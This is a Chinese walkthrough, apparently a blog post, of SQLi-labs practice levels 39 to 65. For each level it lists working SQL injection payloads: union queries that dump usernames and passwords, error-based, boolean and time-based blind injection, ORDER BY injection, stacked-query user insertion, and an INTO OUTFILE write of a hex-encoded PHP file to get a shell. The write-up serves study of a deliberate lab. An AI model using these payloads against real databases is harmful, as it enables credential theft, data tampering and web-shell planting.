?id=-1' union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),database();
Less-39
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間,堆疊 | id=$id |
這一關跟38關差不多,就是閉合方式不一樣,直接上payload:
?id=-1 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3;
Less-40
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間,堆疊 | id=('$id') |
這一關跟39關差不多,就是閉合方式不一樣,直接上payload:
?id=-1') union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3;
Less-41
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,布爾,時間,堆疊 | id=$id |
跟39關差不多,就是少了報錯輸出!不能報錯注入了,就不再啰嗦了。👻
Less-42
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間,堆疊 | username='$username' |
這個題漏洞比較多,下面一個一個來分析:
-
index.php
就是一些前端代碼,表單什么的,沒什么敏感信息 -
login.php
# 這里username進行了轉義,password沒有進行轉義,所以password存在注入點
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
payload:
login_user=admin&login_password=12' union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3#&mysubmit=Login
這一題漏洞比較多,首先 login.php 中 password 沒有過濾,可以進行常規的報錯注入以及盲注,同時本身又支持堆疊查詢,所以也支持堆疊注入。 pass_change.php update 語句存在漏洞,典型的二次注入,類似於 Less-24。
Less-43
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間,堆疊 | username=('$username') |
這一關跟42關的利用方式一樣,只不過拼接方式不一樣罷了,這里就不啰嗦了。
Less-44
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,布爾,時間,堆疊 | username='$username' |
這一關跟42關的利用方式一樣,因為沒有了報錯輸出,所以這里沒有了報錯注入,這里就不啰嗦了。
Less-45
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,布爾,時間,堆疊 | username=('$username') |
這一關跟43關的閉合方式一樣,只不過沒有了報錯輸出,少了報錯注入罷了。
Less-46
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,布爾,時間 | ORDER BY $id |
源碼分析
# GET方式獲取sort參數
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
if 有結果:
輸出信息
else
print_r(mysql_error());
order by 不同於 where 后的注入點,不能使用 union 等進行注入。注入方式十分靈活,下面在本關來詳細講解一下。
驗證方式
升序和降序驗證
# 升序驗證
?sort=1+asc
# 降序驗證
?sort=1+desc
rand()驗證
rand(ture) 和 rand(false) 的結果是不一樣的
?sort=rand(true)
?sort=rand(false)
所以利用這個可以輕易構造出一個布爾和延時類型盲注的測試 payload
此外 rand() 結果是一直都是隨機的
延時驗證
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
這種方式均可以延時,延時的時間為 (行數*1) 秒
報錯注入
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)
布爾注入
?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')
時間注入
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
into outfile
?sort=1 into outfile "/var/www/html/less46.txt"
如果導入不成功的話,很可能是因為 Web 目前 MySQL 沒有讀寫權限造成的。
利用導出文件 getshell
?sort=1 into outfile "/var/www/html/less46.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();> 的十六進制編碼
Less-47
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,布爾,時間 | ORDER BY '$id' |
這一關跟第46關利用方法一樣,只不過是閉合方式不一樣。
Less-48
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 布爾,時間 | ORDER BY $id |
這一關跟46關一樣,但是沒有了報錯信息輸出,所以少了報錯注入,但是布爾和時間盲注還是可以的。
Less-49
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 布爾,時間 | ORDER BY '$id' |
這一關跟47關一樣,但是沒有了報錯信息輸出,所以少了報錯注入,但是布爾和時間盲注還是可以的。
Less-50
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,布爾,時間,堆疊 | ORDER BY $id |
這一關跟46關的區別就是查詢方式由mysql_query
變成了mysqli_multi_query
,因此支持堆疊注入,其他注入方式跟46關一樣,這里演示一下堆疊注入:
# 插入一個新的用戶名密碼"hello:world"
?sort=1;insert into users(username,password) values ('hello','world');
Less-51
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,布爾,時間,堆疊 | ORDER BY '$id' |
這一關跟50關利用方法是一樣的,除了閉合方式不一樣。利用的時候修改一下閉合方式即可。
Less-52
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 布爾,時間,堆疊 | ORDER BY $id |
這一關跟50關的利用方法一樣,只是少了報錯注入而已,因為沒有了mysql的報錯函數,沒有報錯信息輸出。
Less-53
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 布爾,時間,堆疊 | ORDER BY '$id' |
這一關跟51關的利用方法一樣,只是少了報錯注入而已,因為沒有了mysql的報錯函數,沒有報錯信息輸出。
進階挑戰
Less-54
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,聯合,布爾,時間 | id='$id' |
源碼分析
if reset:
# 根據時間戳生成 cookie
setcookie('challenge', ' ', time() - 3600000);
else:
if cookie 中有 challenge:
$sessid=$_COOKIE['challenge'];
else:
# 生成 cookie
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
if $_GET['id']:
計數器 + 1
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
if 有查詢成功:
輸出查詢信息
else:
啥都不輸出
# key 被雙重過濾了
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
這個題目意思是要我們十步之內拿到key數據吧,相當於應用了,下面我們試試聯合注入:
- 判斷字段數
?id=1' order by 3--+
?id=1' order by 4--+
- 查看回顯點
?id=-1' union select 1,2,3--+
- 爆出表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
表名:1LCT0WXIQ7(這個每次都會刷新,每次都不一樣!)
- 爆出列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='1LCT0WXIQ7'),3--+
列名:id,sessid,secret_FC8G,tryy
- 爆出
secret_FC8G
列的內容,猜測這個列里面應該就是key
?id=-1' union select 1,(select group_concat(secret_FC8G) from 1LCT0WXIQ7),3--+
key:EqnpxZUw2nTbAyIzP4JTc26G
總共只需要6步,所以說十步之內拿到key還是可以的。
Less-55
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,聯合,布爾,時間 | id=($id) |
這一關跟54關利用方法一樣,就是閉合方式不一樣,同時這一關給了14次機會。
Less-56
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,聯合,布爾,時間 | id=('$id') |
這一關跟54關利用方法一樣,就是閉合方式不一樣,同時這一關也給了14次機會。
Less-57
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,聯合,布爾,時間 | id="$id" |
這一關跟54關利用方法一樣,就是閉合方式不一樣,同時這一關也給了14次機會。
Less-58
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,布爾,時間 | id='$id' |
這一關跟前面的主要區別代碼如下:
# username是固定的,而password是username的逆序
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
# 這里只輸出uname數組
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
就是說頁面並不會顯示數據庫查詢到的東西,而是只輸出uname數組固定的值,就沒辦法聯合查詢了,但是有print_r(mysql_error());
這個呀,所以我們可以進行報錯注入,具體payload如下:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_HJ71) from MRUXXAF5WK),0x7e),1)--+
我查詢的表名:MRUXXAF5WK 列名:secret_HJ71 key:vNYO4sz333BXSOloI5Hrjwtt
Less-59
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,布爾,時間 | id=$id |
這一關跟58關的利用方法一樣,只是拼接方式不一樣。
Less-60
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,布爾,時間 | id="$id" |
這一關跟58關的利用方法一樣,只是拼接方式不一樣。
Less-61
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,布爾,時間 | id=(('$id')) |
這一關跟58關的利用方法一樣,只是拼接方式不一樣。
Less-62
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 布爾,時間 | id=('$id') |
嘔吼,這一關報錯注入沒有了,print_r(mysql_error())
這個函數被注釋了,那么這一關就只能布爾注入或者時間注入了,一般實戰中要么通過sqlmap這樣的神器跑出來,如果sqlmap沒有跑出來,就自己寫個小腳本跑出來(腳本就不寫了,大家自己嘗試寫吧)。手工注入的話怕不是得注到死(不推薦哈!有頭鐵的可以去試試,拿ascii碼表一個一個去爆😂)
這個還不太好爆呀!次數就140次,超過了就重置了,白爆了😭
Less-63
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 布爾,時間 | id='$id' |
這個跟62關利用方法一樣啊,但是次數更少了,只有130次,超過次數就會重置表名跟列名還要key值,然后拼接方式不一樣。
Less-64
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 布爾,時間 | id=(($id)) |
這個跟63關利用方法一樣啊,次數也是130次,超過次數就會重置表名跟列名還要key值,然后拼接方式不一樣。
Less-65
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 布爾,時間 | id=("$id") |
這個跟63關利用方法一樣啊,次數也是130次,超過次數就會重置表名跟列名還要key值,然后拼接方式不一樣。
總結
之前呢一直依賴於sqlmap這樣的注入神器,但是手工注入也是很重要的。就想着來刷一下sql靶場練習練習自己的手工注入,發現還是感覺提升不少了。至少聯合和報錯注入已經敲的滾瓜爛熟了。哈哈哈!sqlmap用來跑盲注還是效果顯著的,但是聯合和報錯注入其實手工跟sqlmap速度差不多的。就最后那幾關sqlmap也是跑不出來,哎,比較次數限制在那,sqlmap拿大量payload去測試,還沒測完就換了。建議大家還是自己寫一下小腳本,還是挺實用的。